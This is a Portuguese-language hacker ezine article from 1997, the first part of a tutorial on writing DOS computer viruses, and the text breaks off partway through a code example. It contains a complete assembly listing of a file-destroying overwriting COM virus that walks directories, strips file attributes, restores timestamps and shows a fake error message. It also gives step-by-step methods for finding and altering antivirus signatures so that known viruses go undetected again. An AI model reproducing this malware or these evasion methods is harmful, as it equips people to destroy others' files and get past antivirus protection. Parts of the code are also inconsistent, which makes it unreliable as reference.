Copy Link
Add to Bookmark
Report

21: Virus Tutorial Parte I

eZine's profile picture
Published in 
Masters of Shadow
 · 1 year ago

Aproveitando a onda dos manuais q assolam o pais, eu decidi escrever um manual "basico" sobre virus e sua programacao. Devido ao tamanho do dito cujo, eu irei dividi-lo em partes, que serao apresentadas pouco a pouco em cada numero do zine. Esse texto foi escrito baseado em varias experiencias em relacao a virus q eu tenho, e tb em muitos textos... okz, algumas coisas eu tirei de outros textos, porqe eu estava realmente com preguica d digitar.. os autores dos respectivos textos me deram permissao pra isso..

Quantung.. yeah.. :P

Index

  1. Introducao
  2. Nomes, tecnicas e definicoes
  3. Virus Sobre-escrevedores
  4. Design de novas variantes
  5. Otimizacao do codigo virotico
  6. Virus COM's
  7. Desinfeccao Basica
  8. TSR Basico
  9. Virus EXE's
  10. TSR Avancado
  11. Virus Macro
  12. Virus SYS's
  13. Virus ZIP's
  14. Encriptacao basica & outros truques
  15. Virus Boot/Sectors..
  16. Virus ROM's
  17. Outros SO's

1. Introducao

.Criadores

No Brasil, a criacao de virus nao e muito difundida apesar de haver varios criadores com um otimo potencial... um exemplo classico seriam os criadores do Delta, e ate mesmo do Leandro & Kelly, virus que assolaram o pais e aterrorizaram o coracao dos lamers. Depois surgiu a moda dos macros e logo apareceu a porra do Tamagochi, qe muitos dizem ser o primeiro virus de macro do Brasil, no entanto, isso nao e verdade pois o Worm_root ja havia feito um virus de macro varios meses antes, o Word_Worm

Na mesma onda, nosso grupo nao podia ficar de fora, assim criamos a algum tempo o primeiro virus de macro para Excel do Brasil.. he he.. um dia desses eu mostro o codigo pra vcs... se bem q logo logo ele sai nos jornais pois tem tanto nego infectado... putz.. haha.

Que eu saiba nao existe nenhum zine nacional voltado exclusivamente para a area de virus, a algum tempo atras houve o Cyber-Demons, mas o zine logo desapareceu apesar do bom potencial tecnico.. Muitos zines apresentam codigos e tal, mas poucos sao os que realmente sabem o qe estao falando. Na Argentia tem o Minotauro que da uma atencao especial aos virus.. o zine e muito bom. Caso alguem se interesse em escrever ou mesmo dar suporte na elaboracao do nosso manual, sinta-c a vontade para nos contactar em mos@thepentagon.com.

Eu nao podia terminar essa secao sem antes falar no perfil psicologico dos criadores d virus hehe.. laming.. Muitos acham qe os criadores de virus sao genios delinquentes, sem o q fazer.. eu realmente acho que criar um virus e dar vida a algo, e explorar uma capacidade de uma linguagem que milhares d pessoas simplesmente nao compreendem. Varios autores d virus se reunem em grupos especificos tais como a VLAD, VBB, 40hex, Palcon Skings, MOS ( hehe...), apesar d nao sermos um grupo especifico d virus, nos tambem realizamos varias pesquisas a respeito. Um lamer ira argumentar q pode-se fazer algo melhor com um computador do q simplesmente um virus, mas como disse um "colega" meu:

" - Eu nao adminto que um lamer que mal usa o Windows me diga o que eu posso ou nao fazer d melhor com um computador pois nem ele sabe!"

.Geradores

A grande maioria dos lamers nao pode entender um simples 'mov', entao eles tem de apelar pra porra dos geradores... Tais programas funcionam basicamente da mesma forma: eles fazem certas perguntas a respeito do virus que vc deseja bolar como por exemplo, que dia funcionar, que arquivos infectar, se e ou nao mutante, e a partir disso eles juntam varias funcoes pre-existentes, conforme as selecoes do usuario.. entao, o programa ira gerar um codigo fonte q deve ser compilado Esses geradores sao interessantes pois pode-se aprender muito observando-c seu codigo, no entanto, o grande problema deles, e que muitos simplesmente nao conseguem modificar sua respectiva assinatura, ou seja, todos os virus gerados por eles possuem por exemplo um ponto em comum, oq torna todos os virus gerados por um certo Gerador, ja detectaveis.Deve-se confirmar contudo, q o grande boom dos virus no mundo se fez devido ao uso de tais geradores, qualquer lamer que tivesse ascesso podia fazer centenas d virus num unico dia!

Existem varios geradores, de varios grupos diferentes, tais como o PS-MPC (feito em C), o GENVIR (o primeiro que se tem noticia...), IVP, ..

.Anti-virus

Antes de entrarmos em detalhes sobre os virus, vamos dar uma breve introducao sobre o funcionamento dos produtos AV's (anti-virus)... A coisa funciona assim, mesmo qe o virus seja mutante, certas "strings" de seu codigo nunca serao alteradas, ou seja, por mais q o virus se auto-modifique, certas coisas nele continuaram identicas a d quando ele foi feito. Baseado nisso, um anti-virus ira abrir um arq e basicamente procurar pela assinatura (a "string" q nunca muda, e indentifica um certo virus) de diferentes virus... e claro que atualmente ja existem tecnicas sofisticadas, mas por hora isso ja basta

Um AV e lamericamente (uau.. ) um banco d dados com centenas d assinaturas de diferentes virus. Existem varias marcas (fabricantes, TBAV, F-PROT, ..) e cada um com seus truques e respectivas fraquezas, mas isso sera discutido mais adiante.

. Classificacao dos virus

Quando os virus tornaram-se mais comuns, surgiu um problema perante os tecnicos de AV, como nomear os virus "cientificamente". No inicio, cada virus que aparecia era nomeado devido a uma particularidade especial como por exemplo uma mensagem na tela, .. Com o tempo, surgiram novas variantes de virus ja existentes, ou seja, o cara simplesmente alterava uma ou outra coisa no codigo e gerava uma mutacao de um virus ja existente... Isso produziu uma verdadeira confusao na nomenclatura de virus, pois apareciam virus novos, mas semelhantes a outros, ou seja essas variantes e mesmo os virus ja existentes precisavam d uma padronizacao em sua nomenclatura.Varias regras foram estabelecidas para auxiliar na nomenclatura d um novo virus, mas outro problema encontrado foi q muitos virus possuiam apelidos, assim, em novembro de 1991, o NCSA nos EUA organizou uma conferencia de forma a dar um fim a isso e chegar a uma conclusao definitiva sobre a nomenclatura dos virus Ficou convencionado q o nome seria formado da seguinte forma:

Nome_Familia.Nome_Grupo.Nome_Maior_Variante.Nome_Menor_Variante

Por exemplo, Vienna.648.Reboot.A, Leprosy.Skism.1818... e meio confuso mas... Com a aderencia dessas regras por partes dos AV's, reduziu-se drasticamente o numero de virus com diversas denominacoes.

.Virus

Existem centenas d definicoes para o que sao realmente virus de computadores, mas pra mim, virus de computador, sao programas destinados a se copiarem infinitamente pelo computador, e as vezes, sob certas codicoes, manifestarem-se de forma comica ou maligna. Geralmente sao escritos em assembly, pois e uma linguagem mais poderosa e compacta, no entanto existem virus em Basic, Pascal e ate mesmo em C, mas caracterizam-se principalmente por serem enormes

Os virus de computador, se dividem em varias ramificacoes, q diferem desde a forma de atuacao, ate a forma de contaminacao. Geralmente o que eu virus faz e d uma forma bem simplificada algo como:

  1. Inicia-se e procura por arquivos p/ infectar.
  2. Se nao encontrar aborta, se encontrar, pula p/ 3
  3. Abre o arquivo e ve se ja esta infectado, se estiver, volta p/ 1
  4. Ainda nao foi infectado, infecta
  5. Termina

Isso no caso d virus nao-TSR... no caso deles a coisa muda, mas nao convem falar sobre isso agora

Na etapa 4, essa "infeccao" q o virus faz, e basicamente alterar o arquivo de forma que quando ele for executado, o virus seja rodado primeiro q ele Apos o virus terminar sua acao, ele retorna o controle ao programa, que agora roda s/ perceber nada errado. Note q existem virus q possuem uma estrategia d primeiro rodar o programa, e quando ele terminar o virus roda por ultimo ;)

O modo como o virus faz essa alteracao no arquivo, varia d sistema para sistema, e de arquivo para arquivo, afinal, arquivos COM e EXE sao extruturalmente diferentes como voce vera mais a frente Inicialmente iremos estudar os chamados "virus sobre-escrevedores", eles lhe darao uma base para se iniciar em infeccoes mais complexas como as de arquivos COM e EXE... mas antes.. uma explicacao sobre os termos mais utilizados no mundo virotico se faz necessaria

2. Nomes, tecnicas e definicoes

Existem varias tecnicas que os virus podem usar d forma a escapar da perseguicao dos AV's, dentre elas estao: polimorfismo: E a capacidade do virus mudar seu codigo, fazendo com q cada nova geracao funcione do mesmo jeito, mas fisicamente diferente.. isso dificulta muito a procura por assinatura, entao nesse caso os AV's usem a chamada procura heuristica. Existem algoritmos ja prontos de forma a serem incorporados em virus ja prontos, tais algoritmos ja sao famosos entre os AV's... MtE, DAME, TPE, NED, ...

encriptacao: E uma tecnica simples e comum de ser feita, ela geralmente e composta por um loop no qual o virus e encriptado ou desencriptado toda vez qe e executado. Encriptado-se, varias strings do virus tornam-se camufladas.. no entanto, sempre existe uma parte do virus qe nao e encriptada, e tal parte possui sua respectiva assinatura, que e usada pelos AV's. tunneling: Sao recursos q o virus se utiliza d forma a ultrapassar programas residentes e assim controlar diretamente certas interrupcoes do computador. Assim, ele podem monitorar o ascesso a arquivos e mesmo a discos.

stealthing: E a utilizacao de tecnicas q dificultam a percepcao d um virus no sistema. Por exemplo, muitos virus nao alteram a data/hora dos arquivos infectados, eliminam certos arquivos dos anti-virus, etc. Alguns chegam mesmo a notar a execucao de um AV e se encondem, voltando a agir quando ele terminar!

procura dot dot: Essa e uma forma comum de procura de arquivos feita pelo virus, ela consiste-se do seguinte, inicialmente o virus procura arquivos no diretorio corrente, se nao encontrar, ele desce p/ o subdiretorio (..), ou simplesmente aborta-se se for o raiz.

Okz, agora vao alguns termos usados por virus e AV's: DTA: Area de transferencia de disco, tem informacao sobre todo arquivo encontrado pelo nosso virus, como por exemplo: data, hora, tamanho, etc. Veja abaixo o layout do DTA:

  0h   DB  21 dup(0)    ; reservado para uso do Dos 
15h DB 00 ; atributo do arq
16h DW 0000 ; hora do arq
18h DW 0000 ; data do arq
1ah DD 00000000 ; tamanho do arq
1eh DB 13 dup(0) ; ASCII do nome do arq

Na maioria das vezes, move-se o DTA d lugar, para nao perder-se o PSP. Nos virus sobre-escrevedores, isso nao e necessario..

ATENCAO: Note que o DTA, comeca em 80h, e em 1eh do DTA, esta o nome do arquivo encontrado, assim, juntando-se os dois (DTA+endereco com o handler do arq), nos obtemos:

80h + 1eh = 9eh Esse o endereco que contem o nome do arquivo.


PSP: Prefixo do endereco do programa.

OFFSET: E como um endereco de memoria, e indica certas localizacoes especificas.

TSR: Programa residente. Stack: "Pilha", e basicamente uma area d memoria onde se e possivel salvar dados e registradores, note que esse dados devem ser recuperados na ordem
inversa a que foram salvos

Ex:

	push ax (salva AX no Stack) 
push cx (salva CX no Stack)

......

pop cx (recupera CX)
pop ax (recupera AX)

Flag: E como um registrador, usado para sinalizar o estado atual do microprocessador. Atraves dele, um programa pode saber quais foram os ultimos efeitos causados pela ultima instrucao executada. "Assinatura": Conjunto de bytes comuns a um virus pelo qual ele pode ser detectedo.

"Codigo malicioso": Codigo de virus que realizam algo perverso..

"Arquivo bite": Pequenos arquivos usados basicamente para serem contaminados para posteriormente estudarem-se os virus que contaminaram esse arquivos. Por exemplo, pode-se criar um arquivo bite em assembly q tenha apenas uma instrucao 'int 20h'. A seguir, contamina-se esse arquivo e quando voce edita-lo num editor hexadecimal, tudo, menos o primeiro 'int 20h' sera o codigo do virus! Simples nao ? Note no entanto qe certos virus contaminam apenas arquivos q tenham um tamanho minimo.. dessa forma, vc tera d preencher seu arquivo bite com lixo, do tipo "NOPE".

"Acao direta": E o tipo de virus que ao inves de ficar TSR, esperando os arquivos serem executados para contamina-los, executa-se na mesma hora, contaminado os arquivos ao seu redor e em seguida termina-se Tais virus tem como desvantagem o fato d uma disseminacao mais lenta, alem d tornarem seus hospedeiros um pouco mais lentos na hora de executar, pois o virus roda primeiro, isso pode levantar suspeitas.. no entanto, por nao ficarem TSR, eles possuem uma chance maior d nao serem detectados.

procura heuristica: E uma forma d deteccao de virus usado por varios AV's, ela consiste-se em procurar comandos especificos de um virus, dentro de um arquivo. Por exemplo, poderiam procurar por algum programa que execute uma funcao de abertura e salvamento de arquivos, ou coisas assim... estruturas retro: E similar ao stealhting.. a diferenca, e que ao inves de tentar nao ser detectado, o virus ira atacar os AV's diretamente, como por exemplo deletando-os ou simplesmente baixando-os da memoria.

3. Virus Sobre-escrevedores

Okz, como ja dito, inicialmente iremos tratar da criacao de um virus sobre-escrevedor. Apesar de simples, tais virus irao lhe dar uma boa nocao d como um codigo virotico basico funciona...No nosso caso, iremos tratar de virus sobre-escrevedores de arquivos COM. Na infeccao d EXE's quase nao a diferenca em se tratando de sobre-escrevimento, mas varias precaucoes devem ser tomadas e como o proposito do manual nao e unicamente virus sobre-escrevedores, quero ser o mais rapido possivel nessa bosta.Como o proprio nome diz, virus sobre-escrevedores, sao virus qe para se multiplicarem, sobrepoe-se sobre o arquivo alvo, inutilizando-o

Ex:

	--------     -----       ---------- 
|Programa| + |Virus| = | Virusama |
-------- ----- ----------

No exemplo, 'ama' significa o resto do programa original, como ele foi sobreposto pelo virus, a parte restante do programa, fica inutilizada Devido a isso, esse tipo de virus, e extremamente rudimentar, visto q pode ser detectado facilmente pois seus arquivos irao simplesmente para de funcionar! Lamer, acho q vc ainda nao entendeu: perceba q assim qe um arquivo e contaminado por esse tipo de virus, ele (o arquivo) e inutilizado, sem chance de recuperacao!! O resultado e similar a quando vc salva um texto e o sistema lhe diz qe ja existe um arquivo de mesmo nome e lhe pergunta se voce quer sobregrava-lo Agora, a parte tecnica:

Todos os arquivos sao divididos em segmentos os quais NAO estao em ordem sequencial, e podem ser carregados em qualquer parte da memoria... a diferenca principal em termos viroticos entre arquivos COM e EXE, e que os COM possuem uma posicao especifica fixa inicial d onde comecar em memoria, essa posicao e 100h, ou seja, quando voce rodar um arquivo COM, pode ter certeza dq ele ira comecar sempre em 100h!!

De uma forma basica, a grande maioria dos virus sobre-escrevedores de COMs tem a seguinte estrutura:

  1. Achar um arquivo p/ contaminar.
  2. Nao achou, aborta.
  3. Achou, abre o arquivo.
  4. Infecta o arquivo.
  5. Fecha.
  6. Sai

Os mais espertos poderao perguntar se o virus tambem nao deveria ver se o arquivo ja esta contaminado. Vc esta certo, mas como eu ja disse, nao gosto de virus sobre-escrevedores, portanto, quanto menos tempo perdermos tempo com eles melhor... eu apenas estou explicando ele para te dar uma nocao basica d forma a depois podermos tratar de virus mais interessantes Seguindo os passoas acima descritos, os sobre-escrevedores comecam mais ou menos desse jeito:

  Code SEGMENT              ; Nome do segmento 
ASSUME cs:Code,ds:Code ; Em arqs. COM, dados, codigo, stack e
; segmentos extras sao todos iguais
ORG 100H ; End. onde todos os COM comecam na memoria. Inicio proc near ;
Bla, Bla, Bla \ ;
Bla, Bla, Bla |---------- Aqui vai o corpo do virus
Bla, Bla, Bla / Inicio endp ; Fim do virus (corpo)
Bla, Bla, Bla \___________ DBs e variaveis vao aqui
Bla, Bla, Bla / Code ends ; Fim do segmento
end Inicio ; Fim do programa (virus) Simples, nao ?!!

Agora vamos seguir os passos:

1.a). Achar um arquivo p/ contaminar, mas antes, inicia-se os segmentos ;) Code SEGMENT ;
ASSUME cs:Code,ds:Code ;
;
ORG 100H ;

Inicio proc near ; Inicio do virus 1.b). Ok, agora vamos achar nossa vitima..
Vamos usar a INT 21h, funcao 4Eh -> localizar arquivo.

ah, 4Eh
cx: atributos do arq.
dx: End. offset do nome do arq.
ds: End. do segmento do nome do arq


Ex:

	mov ah, 4Eh            ; Localizar 1. ocorrencia de um arq. 
mov cx, 0 ; '0' = Atributos normais.
mov dx, OFFSET Arq_Com ; Mascara para arquivos COM.
int 21h ; Executa.

Arq_Com DB "*.COM" ;

** Apos a 'int 21h', poderia-se colocar algum tratamento de erro, ou seja, ele verificaria se encontrou um arquivo, se nao encontrar, poderia mudar de diretorio ou simplesmente terminar-se (passo 2).

Note que nos nao usamos DS, pois em arq. COM CS=DS=ES=SS!!

LAMER, PUTA QUE PARIU! ESSE 'EM ARQUIVOS COM' QUE EU ESTOU FALANDO, NAO E O ARQUIVO VITIMA, Q VAMOS INFECTAR, E SIM O VIRUS! O CODIGO DO VIRUS QE EU ESTOU MOSTRANDO, QUANDO COMPILADO VAI GERAR UM VIRUS.COM! E POR ISSO QUE VC PRECISA COLOCAR O 100H, P/ INSTRUIR O COMPILADOR A GERAR O ARQUIVO COMO COM!! Alem de menores, os COMs rodam mais rapido, como um virus e pequeno, e rarissimo encontrar-se virus.EXE..

okz.. continuando...

Note tambem, que especificamos em CX, arquivos de atributos normais, isso previne nosso virus de falhar quando tentar infectar algum arquivo protegido, como por exemplo o COMMAND.COM. Mais a frente, voce aprendera a zerar os atributos de um arquivo e contaminar o q quiser, mesmo qe ele esteja protegido.
2). Vc q decide oq vai fazer... isso ja foi explicado acima.
3). Abre arquivo encontrado

Vamos usar a INT 21h, funcao 3Dh -> abrir arquivo.ah, 3Hh
al: 00h: read
01h: write
02h: read/write
dx: Endereco offset do nome do arquivo encontrado.
ds: Endereco do segmento do nome do arquivo encontrado

Quando o arquivo for aberto, o seu respectivo handle sera retornado em ax

Ex:

	mov ah, 3Dh            ; Funcao abrir arq.	mov al, 02h            ; Escrita/leitura 
mov dx, 9eh ; Nome do arquivo (q esta no DTA!)
int 21h ;
... --> Aki poderia ser feito um teste d erro p/ se certificar de q
na houve erros na abertura do arquivo... :P

Se tudo correr bem, ou seja, se nao houver falhas na abertura do arquivo, o DOS, retorna o handle do arquivo em AX. No passo 4, iremos escrever o virus sobre o arquivo aberto, para isso, o handle do arquivo deve estar em BX, por isso, vamos passar o valor d AX p/ BX

Ex:

	xchg bx, ax            ; Melhor que 'MOV'.

4). Sobrepor o virus sob o arquivo aberto
Vamos usar a INT 21h, funcao 40h -> escrever em arquivo.

ah, 40h
bx: Handle do arquivo aberto.
cx: Bytes a escrever.
dx: Endereco offset do comeco do virus

Ex:

	mov ah, 40 
mov cx, OFFSET Fim - Inicio
mov dx, OFFSET Inicio
int 21h

Na passagem acima, e armazenado em CX o tamanho do virus, ou seja, seu final menos o seu comeco (matematica basica lamer..). Em DX, esta o inico do virus que e o inicio de onde o ponteiro ira escrever.


5). Fechar o arquivo q acaba d ser infectado.
Vamos usar a INT 21h, funcao 3Eh -> fechar arquivo.

ah, 3Eh
bx: Handle do arquivo (que ja esta em BX pois: xchg bx, ax)

Ex:

	mov ah, 3Eh            ; 
int 21 ;

6). Terminar-se.
Vamos usar a INT 20h -> Terminar programa

Ex:

	int 20h                ;

Lamer, note q eu nao estou te dando um codigo completo, estou apenas explicando como vc pode criar seu proprio virus sobre-escrevedor.. se depois te tudo isso vc ainda nao conseguir.. e melhor comprar um livrinho...Agora, vamos nos aprofundar um pouco mais.. Vamos usar tudo o que vc aprendeu ate agora, para criar um virus sobre-escrevedor, que ira usar tecnicas d stealth: ira preservar a data/hora original do arquivo infectado, e ira contaminar arquivos com qualquer atributo, mesmo os protegidos

Vc pode estar se perguntando por que salvar data e hora ja que o arquivo sera destruido, bem para que nosso virus fique mais dificil de ser notado, ele ira mostrar uma mensagem de erro quando for rodar, assim, a pessoa vai achar q o arquivo esta danificado ao inves d pensar direto q e um virus Perceba q especificando contaminacao d qualquer arquivo, ate o COMMAND.COM pode ir embora!!

Abaixo, mostrarei um virus que procura por subdiretorios para contaminar arquivos, vc vai gostar.. depois chega pois eu nao aguento mais falar desse tipo de virus.. ECA!!

; --- Corte aki ------------------------------------------------------------ 
;
; Sobrewriter - Sobre-escrevedor COM
; (c) 1997, Wiz4rd [MOS].
; Code SEGMENT ;
ASSUME cs:Code,ds:Code ;
;
ORG 100H ;

Inicio proc near ;

Pega_path:
mov al, '\' ; Para '\' + path original
mov byte ptr[Path], al ; Para Path = \directory
mov si, OFFSET Path+1 ; Adiciona 1 byte por cause de AL('\')
xor dl, dl ; Unidade atual(dl=0)
mov ah, 47h ; Pega diretorio atual
int 21h ; Salva o path original.

Acha:
mov ah, 4Eh ; Achar um arquivo
mov cx, 7 ; Qualquer atributo
mov dx, OFFSET Mask_Com ; Mascara para arquivos .Com
int 21h ;
jc Down ; Nao achou, tente proximo diretorio
call Fuck_arq ; Sim, fode o arquivo!!!! YAHOOOOO..
jmp Acha_prox ; Acha proximo.

Desce:
mov ah, 3Bh ; Troca de diretorio
mov dx, OFFSET Dir_Desce; Mascara p/ descer diretorio
int 21h ;
jc Sai_fora ; Nao pode descer--> Raiz, saia!
jmp Acha ; Procura por arquivos .COM .

Acha_prox:
mov ah, 4Fh ; Achar proximo arquivo .COM
mov cx, 7 ;
mov dx, OFFSET Mask_Com;
int 21h ;
jc Down_2 ; Nao achou, desce mais um diretorio
call Fuck_arq ; Sim, abre
jmp Sai ; Sai.

Desce_2:
mov ah, 3Bh ; Troca de diretorio
mov dx, OFFSET Dir_Desce; Mascara do diretorio
int 21h ;
jc Sai_fora ; Nao pode descer, saia :-(

mov ah, 4Eh ;
mov cx, 7 ;
mov dx, OFFSET Mask_Com ;
int 21h ;
jc Sai_fora ; Nao tem, sai :-(
call Fuck_arq ; Sim, fode ele!!!! YAHOOOOO..
jmp Sai ; Saia, nos ja temos filhinhos

Sai_fora:
jmp Exit

Fuck_arq:
mov ax, 04300h ; Pega atributos do arquivo
mov dx, 9Eh ; Nome do arquivo
int 21h ;

mov cx, [OFFSET Atributos + bp] ; Salva atributos.
mov ax, 4301h ; Funcao troca atributos do arquivo
xor cx, cx ; Para normal
mov dx, 9Eh ; Nome do arquivo
int 21h ; Arquivo ta pronto pra fuck fuck.. :-)

; Vc pode fazer um check de erro aqui, como 'jc Erro', apos isso, vc faz uma
; funcao chamada Erro que talvez ira terminar o virus ou procurar por outro
; arquivo

mov ax, 3D02h ; Abre arquivo read/write
mov dx, 9eh ; Nome do arquivo
int 21h ;
xchg bx, ax ; Poe handle de novo em BX

mov ax, 05700h ; Funcao pegar data e hora do arquivo
int 21h ;
mov [OFFSET Data+bp], dx ; DX = data(salva)
mov [OFFSET Hora+bp], cx ; CX = hora(salva)

mov ah, 40h ; Funcao escrever em arquivo
mov cx, OFFSET The_End - Inicio ; Bytes a escrever
mov dx, OFFSET Inicio ; Offset do comeco do virus
int 21h ;
call Fecha ; Fecha o arquivo
ret

Fecha:
mov ah, 3Eh ; Funcao fechar arquivo
int 21 ;
mov ax, 05701h ; Funcao trocar data/hora do arquivo
mov dx, [OFFSET Date+bp] ; Para valores antigos(originais)
mov cx, [OFFSET Time+bp] ; Hora original
int 21h ;

mov ax, 04301h ; Funcao trocar atributo do arquivo
mov [OFFSET Atributos + bp], cx ; Para atributos antigos(originais)
int 21h ;
ret

Sai:
mov ah, 3Bh ; Troca de diretorio
mov dx, OFFSET Path ; Para dir original
int 21h ;
mov ah, 9 ; Mostrar mensagem falso
mov dx, OFFSET Mens ; Mascara da mensagem
int 21h ;
int 20h ; Termina.

Inicio endp

Path DB 70 DUP (?) ; Path original(ate 70 caracteres)
Dir_Desce DB "..",0
Mask_Com DB "*.com",0 ; Mascara para arquivos .COM .
Atributos DW ? ; Variaveis temporarias que "seguram"
Data DW ? ; atributos, data e
Hora DW ? ; hora do arquivo.
Mens DB 'Erro no arquivo (0133)', 13, 10,'$'

The_End label near ; Fim do virus.
Code ends ; Fim do segmento
end Start ; Fim do programa.


; --- Corte aki ------------------------------------------------------------

E claro que esse codigo esta muito "feio", mas como eu ja disse eu nao vou perder tempo com esse tipo de virus. Voce tambem pode melhorar a mensagem falsa... Varias coisas podem ser melhoradas e colocadas nessa virus. Gere novas mutacoes..

P.s.: E provavel qe anti-virus ja acusem a presenca desse virus como sendo um outro, mas nao pense que eu copiei o codigo. Isso deve-se ao fato d que virus sobre-escrevedores sao muito parecidos uns coms os outro, portanto faceis de serem detectaveis, e os anti-virus frequentemente acusam um novo virus como sendo apena uma simples variante Tente tornar esse virus indetectavel novamente, sei la.. :P

Design de novas variantes

E comum e mesmo facil encontrar-se codigos fontes de viru na Net.. Mais comum ainda e q muitas das pessoas q possuem tais codigos simplesmente sao incapazes de entende-los ou nao tem saco de baseado neles fazer um novo virus... entao vc pode ao invez de fazer um do comeco, modifica-lo apenas em algumas partes, de forma a faze-lo novamente indetectavel... sei la... independente d quais seus motivos, aki tem uma solucao simples Vc vai ver como e possivel tornar um virus ja detectavel em novamente indetectavel... teoricamente... O problema e que as vezes esse tipo de coisa consome muito tempo e paciencia, q e melhor fazer-se um novo virus Se vc faz por exemplo o Michangelo tornar-se novamente indetectavel, voce acaba de criar uma nova variante dele.. sacou?? :P

De forma a poder manipular e gerar uma variante, voce precisa de no minimo um editor hexadecimal, e o debug do DOS. Inicialmente, criar um arquivo bite. Note qe alguns virus nao contaminam arquivos bite, se esse for o seu caso, encha o bite de NOPES ate dar o tamanho minimo requerido, ou simplesmente altere no codigo do virus o tamanho minimo. Nao vou explicar como criar a porra do arquivo no DEBUG!

Lamer, se vc nao souber, use o TASM mesmo e faca o dito cujo Okz, suponha q nosso arquivo tenha apenas a instrucao 'int 20h', entao ele deve teoricamente ter algo em torno de 2 bytes.Contamine o arquivo com o virus.. se for um virus d boot, vc vai ter q usar um bom editor d disco e contaminar um disquete --> TRABALHO A MAIS Independente do virus, CUIDADO PARA NAO CONTAMINAR O SEU HD! Faca a coisa em um disquete! Se for um virus residente, apos vc ter contaminado o arquivo simplesmente de um reboot Se o virus for de .EXE, converta o bite.... NAO BASTA RENOMEA-LO!! Nao se esqueca de manter uma copia do arq bite original(sem o virus!!) Carregue seu editor hexa o arquivo infectado, note q tudo menos o primeiro 'int 20h' e o virus :)

Essa e a parte importante.. ache atraves do editor hex., o meio do arquivo, se ele tem 14k, se dirija para o ultimo byte, antes de formar 7k Agora, preencha os 7k em diante (ate EOF) com besteiras, como por exemplo 255d (FFh) o caractere de espaco. Entao, salve e rode seu anti-virus nesse arquivo. Se o AV detectar a presenca de virus, e porq a sequencia que o AV usa p/ detectar o seu virus, encontra-se nos primeiros 7K! E assim vai.. o raciocinio e simples, vc vai picando o dito ate achar a assinatura E claro que deletando partes do virus, ele nao ira funcionar (pois o arqvo estara danificado), mas nos nao estamos querendo ele funcionando, e sim a saber que parte do virus e detectada pelo AV

E por isso qe antes de alterar os arquivos, e bom voce ter copias reservas do bite original e do contaminado. NOTA: Eu recomendo que voce use o SCAN para procurar pelo virus, pois ele apenas procura por assinaturas, e e isso que nos estamos tentando alterar Use um versao recente PORRA, senao e claro qe se seu virus for recente ele nunca vai ser encontrador :P

Por exemplo, quando procura pelo virus Cascata, o SCAN procura por algo do tipo:

	       EB1DAD1273D1FF121F (Eu achei isso numa revista)

Entao meu caro, voce esta tentando apenas alterar a string que o SCAN usa para detectar seu virus. Na maioria dos virus, a assinatura encontra-se nos primeiros 150 bytes do arquivo. Agora vamos supor qe voce tenha achado como assinatura algo do tipo:

		      B8 92 19 B7 21 CD

** As assinaturas sao mais compridas, isso e apenas um exemplo... Volte ao debug, e digite:

  E 0100 b8 92 19 b7 21 cd  ; carrega 
U ; converte p/ assembly

mov ax,1992h
mov bx,21h
int 21h

Entao vc tem q alterar tal sequencia d forma a torna-la indetectavel.. iinicialmente pode-se tentar algo como:

			mov bh,21h 
mov ax,1992h
int 21h

E provavel q o AV nao encontre mais o virus :P Simples... supondo qe voce nao tenha o arquivo fonte do virus q esta manipulando, vc vai ter q alterar isso direto no binario, da seguinte forma:

   DEBUG BITE.com       ; Arquivo com o virus 
a 0122 ; Endereco de onde esta a string achada.

Entao entre com as instrucoes:

			mov bh,21 
mov ax,1992h
int 21h w ; Grava
q ; Sai.

Scaneie o arquivo, se o AV nao achou, entao voce conseguiu, do contrario, mude novamente isso c/ instrucoes diferentes q podem produzir o mesmo resultado.
Note q no caso d virus encriptados, o AV acha como assinatura apenas algum dos seus mecanismos d encriptacao, pois o resto do virus esta encritado..

5. Otimizacao do codigo virotico

Essa secao e dedicada a todos os escrevedores d virus q acham q apenas escrever um codigo e legal. Isso e lamer! Existem muitos virus por ai, mas poucos sao inteligentes... grande parte possuem bugs e nao irao se expalhar nenhum pouco

Aqui voce vai encontrar alguns truques para cagar nos produtos AV's e como fazer a vida deles ainda mais dificil he he.. tambem vai ver como e possivel reduzir o tamanho, melhorar a velocidade, ou ate mesmo dar mais poder d atuacao ao seu virus

Talvez voce nao precise disso agora, mas quando for criar um virus grande, ou verdadeiramente "bonito", com um codigo decente, com certeza vai usar algo daqui.Muita coisa que eu vou falar aki e capaz que vc nao entenda, mas aos poucos, conforme o manual for sendo publicado voce ira se familiarizar com elas

1). Sempre q puder, substitua 'MOV' por 'LEA'.

- Isso serve basicamente para se economizar espaco

Ex:

	  mov dx, offset Com_ext  (isso e ruim) 

lea dx, Com_ext (isso e bom!)

2). Quando for zerar DL, use algo decente

- Isso serve basicamente para se economizar espaco

Ex:

	  XOR DL, DL  (isso e ruim ---> LAMER) 

CLD (e bem mais rapido e menor)

3). Reutilize funcoes

- Se voce quer que um virus faca mais de uma contaminacao, reutilize a mesmo funcao ao inves de digitar duas vezes a mesma rotina

Uma boa tatica quando um virus vai fazer apenas 2 infeccoes, e uzar um codigo simples como esse (oq eu acho genial) :

	  mov ah, 4Eh               ; Procurar por arquivo. 
mov cx, 7 ; Qualquer atributo.
mov dx, Com_ext ; Mascara para arquivos .COM
Loop_arq: int 21h ; Executa.

jc Sai ; Nao ha, sai.
call Infecta ; Infecta.
jne Sai ; Deu certo, sai.
mov ah, 4Fh ; Procurar por prox. arquivo.
jmp short Loop_arq ; Faz processo de novo, e usa
; novamente a mesma funcao.

P.s.: Note qe nesse exemplo, se a contaminacao der errado e q ele vai procurar por outro arquivo, mas com essa ideia em mente, vai ser facil fazer codigos rapidos e pequenos.

4). Use o cerebro na passagem do handle de AX para BX
- Isso serve basicamente para se economizar espaco

Ex:

	  Use 'XCHG BX, AX' ao inves de 'MOV....'

Com o 'xchg', a passagem ocorre mais rapidamente e usa menos espaco.

5). Ponha verificaoes de erro nos processos mais criticos como: contaminar arquivo, alterar atributo, abrir, ler bytes do arquivos, escrever em arquivo, desativar AV, ... Vc nunca pode prever o que ira acontecer!!

6). Nao pegue virus por ai, e coloque seu nome, use-o para criar codigos melhores e mais produtivos, ou novas variantes, mas simplesmente catar um codigo de virus, nem ver o que ele faz e so alterar o copyright, e' a coisa mais ridicula que alguem pode fazer.

7.) Na procura de novos arquivos a serem infectados muitas tecnicas podem ser usadas pelo virus, uma interessante bolada pelo Worm_root (digamos aperfeicoada, pois tal tecnica ja existia he he) pode ser usada, ela basicamente ira procurar novos diretorios, vc ascessa tais diretorios, ou seja, ao inves de simplesmente procurar por arquivos no diretorio corrente, ou no inferior (..), pode-se varrer os diretorios do cara em busca d novos arquivos.

Inicio:

	  call Pega_DTA             ; Pega DTA recente em DX. 
push dx ; Salva.
mov ah,1AH ; Seta.
